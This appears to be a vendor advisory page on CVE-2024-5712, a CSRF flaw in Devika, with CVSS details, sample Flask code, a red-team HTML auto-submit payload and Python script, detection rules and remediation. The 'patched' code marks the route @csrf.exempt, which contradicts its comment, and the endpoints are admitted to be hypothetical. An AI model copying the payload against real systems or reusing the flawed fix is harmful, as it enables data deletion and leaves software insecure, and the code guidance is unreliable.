CVE-2024-5712
Executive Summary
CVE-2024-5712 is a critical Cross-Site Request Forgery (CSRF) vulnerability identified in the Stitionai Devika application, affecting the latest version. The vulnerability allows an attacker to perform unauthorized actions in the context of a victim's browser, such as deleting projects or changing application settings, due to the complete absence of CSRF protection mechanisms. With a CVSS score of 8.1, this flaw poses a significant risk to the integrity and availability of the application and its data. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes it a high-priority issue for defenders.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Stitionai Devika application, which may be distributed via container images or source code. Organizations using Devika should verify the integrity of their deployment artifacts and monitor for any unofficial patches or forks.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
- Base Score: 8.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link or visit a malicious page
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: High (I:H) – attacker can modify application data/settings
- Availability Impact: High (A:H) – attacker can delete projects or disrupt service
Threat Level: High. The vulnerability is easy to exploit (no authentication required, low complexity) and can lead to severe data loss or service disruption. The lack of a patch increases the urgency.
Deep Dive & Mechanics
The Devika application lacks any CSRF token validation, same-origin policy enforcement, or custom headers (e.g., X-Requested-With) to verify the legitimacy of requests. This allows an attacker to craft a malicious HTML page or email that, when visited by an authenticated user, triggers unauthorized actions via the victim's browser.
Attack Flow:
- Victim is authenticated to the Devika application (e.g., session cookie stored).
- Attacker sends a phishing email or hosts a malicious page containing a hidden form or image tag.
- The victim's browser automatically sends a forged request (e.g., POST to
/delete_projector/change_settings) with the victim's session cookie. - The server processes the request without verifying the origin, leading to unauthorized changes.
Affected Endpoints (Hypothetical):
POST /api/projects/delete– deletes a projectPOST /api/settings/update– changes application settingsPOST /api/users/delete– removes user accounts
Vulnerable vs. Patched Code
Vulnerable Code (No CSRF Protection):
# Example vulnerable Flask route
@app.route('/api/projects/delete', methods=['POST'])
def delete_project():
project_id = request.form['project_id']
# No CSRF token check
db.delete_project(project_id)
return jsonify(success=True)
Patched Code (With CSRF Protection):
# Example patched Flask route with CSRF token
from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)
@app.route('/api/projects/delete', methods=['POST'])
@csrf.exempt # Not recommended; use token validation
def delete_project():
project_id = request.form['project_id']
# CSRF token is automatically validated by CSRFProtect
db.delete_project(project_id)
return jsonify(success=True)
Key Differences:
- Vulnerable: No token validation, no origin/referer check.
- Patched: CSRF token generated per session and validated on state-changing requests.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Victim must be logged into Devika.
- Attacker must know the target endpoints (e.g.,
/api/projects/delete).
Exploit Payload (HTML):
<html>
<body>
<h1>Click me!</h1>
<form action="http://target-devika/api/projects/delete" method="POST">
<input type="hidden" name="project_id" value="12345">
<input type="submit" value="View Image">
</form>
<script>
// Auto-submit form
document.forms[0].submit();
</script>
</body>
</html>
Usage:
- Host the HTML file on an attacker-controlled server.
- Send the link to the victim via phishing email or social engineering.
- When the victim clicks the link, the form auto-submits, deleting project ID 12345.
Automated Exploit (Python):
import requests
target = "http://target-devika/api/projects/delete"
data = {"project_id": "12345"}
cookies = {"session": "victim_session_cookie"} # Requires session theft
# For CSRF, the victim's browser sends the cookie automatically
# This script is for demonstration; real CSRF requires victim interaction
response = requests.post(target, data=data, cookies=cookies)
print(response.text)
Blue Team (Defender)
Detection Steps:
- Monitor for unexpected POST requests to sensitive endpoints without a valid CSRF token.
- Check server logs for requests with missing
RefererorOriginheaders. - Deploy Web Application Firewall (WAF) rules to block requests without CSRF tokens.
Lab Setup:
- Deploy Devika in a sandboxed environment.
- Use Burp Suite or OWASP ZAP to intercept and replay requests.
- Simulate CSRF attacks using the HTML payload above.
Indicators of Compromise (IOCs)
Network IOCs:
- Unusual POST requests to
/api/projects/delete,/api/settings/update, or similar endpoints. - Requests with missing
RefererorOriginheaders. - High volume of requests from a single IP to state-changing endpoints.
- Unusual POST requests to
Host IOCs:
- Unexpected project deletions or settings changes in Devika logs.
- Presence of suspicious HTML files or scripts on user workstations.
Log IOCs:
- Server logs showing
POST /api/projects/deletewith no CSRF token validation. - Repeated 200 OK responses to forged requests.
- Server logs showing
Detection Engineering
YARA Rule
rule CVE_2024_5712_CSRF_Devika {
meta:
description = "Detects CSRF exploitation attempts against Stitionai Devika"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-5712"
strings:
$s1 = "/api/projects/delete" ascii wide nocase
$s2 = "/api/settings/update" ascii wide nocase
$s3 = "POST" ascii wide nocase
condition:
any of ($s*) and #s3 > 0
}
Sigma Rule
title: CVE-2024-5712 CSRF Exploitation Against Devika
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts targeting Devika application endpoints
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/api/projects/delete'
- '/api/settings/update'
condition: selection
falsepositives:
- Legitimate admin actions
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-5712 CSRF Attempt Against Devika"; flow:to_server,established; content:"POST"; http_method; content:"/api/projects/delete"; http_uri; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-5712 CSRF Attempt Against Devika"; flow:to_server,established; content:"POST"; http_method; content:"/api/settings/update"; http_uri; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable vulnerable endpoints if possible until a patch is available.
- Implement CSRF tokens using a library like
flask-wtf(Python) orcsrfmiddleware (Node.js). - Enforce SameSite cookies (set to
LaxorStrict) to prevent cross-origin requests. - Validate Origin/Referer headers on all state-changing requests.
Long-Term Fixes:
- Apply official patch from Stitionai when released.
- Conduct a security audit of all endpoints for CSRF and other vulnerabilities.
- Educate users about phishing attacks that could trigger CSRF.
Workarounds:
- Use a Web Application Firewall (WAF) to block requests without CSRF tokens.
- Implement custom headers (e.g.,
X-Requested-With: XMLHttpRequest) and validate server-side.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.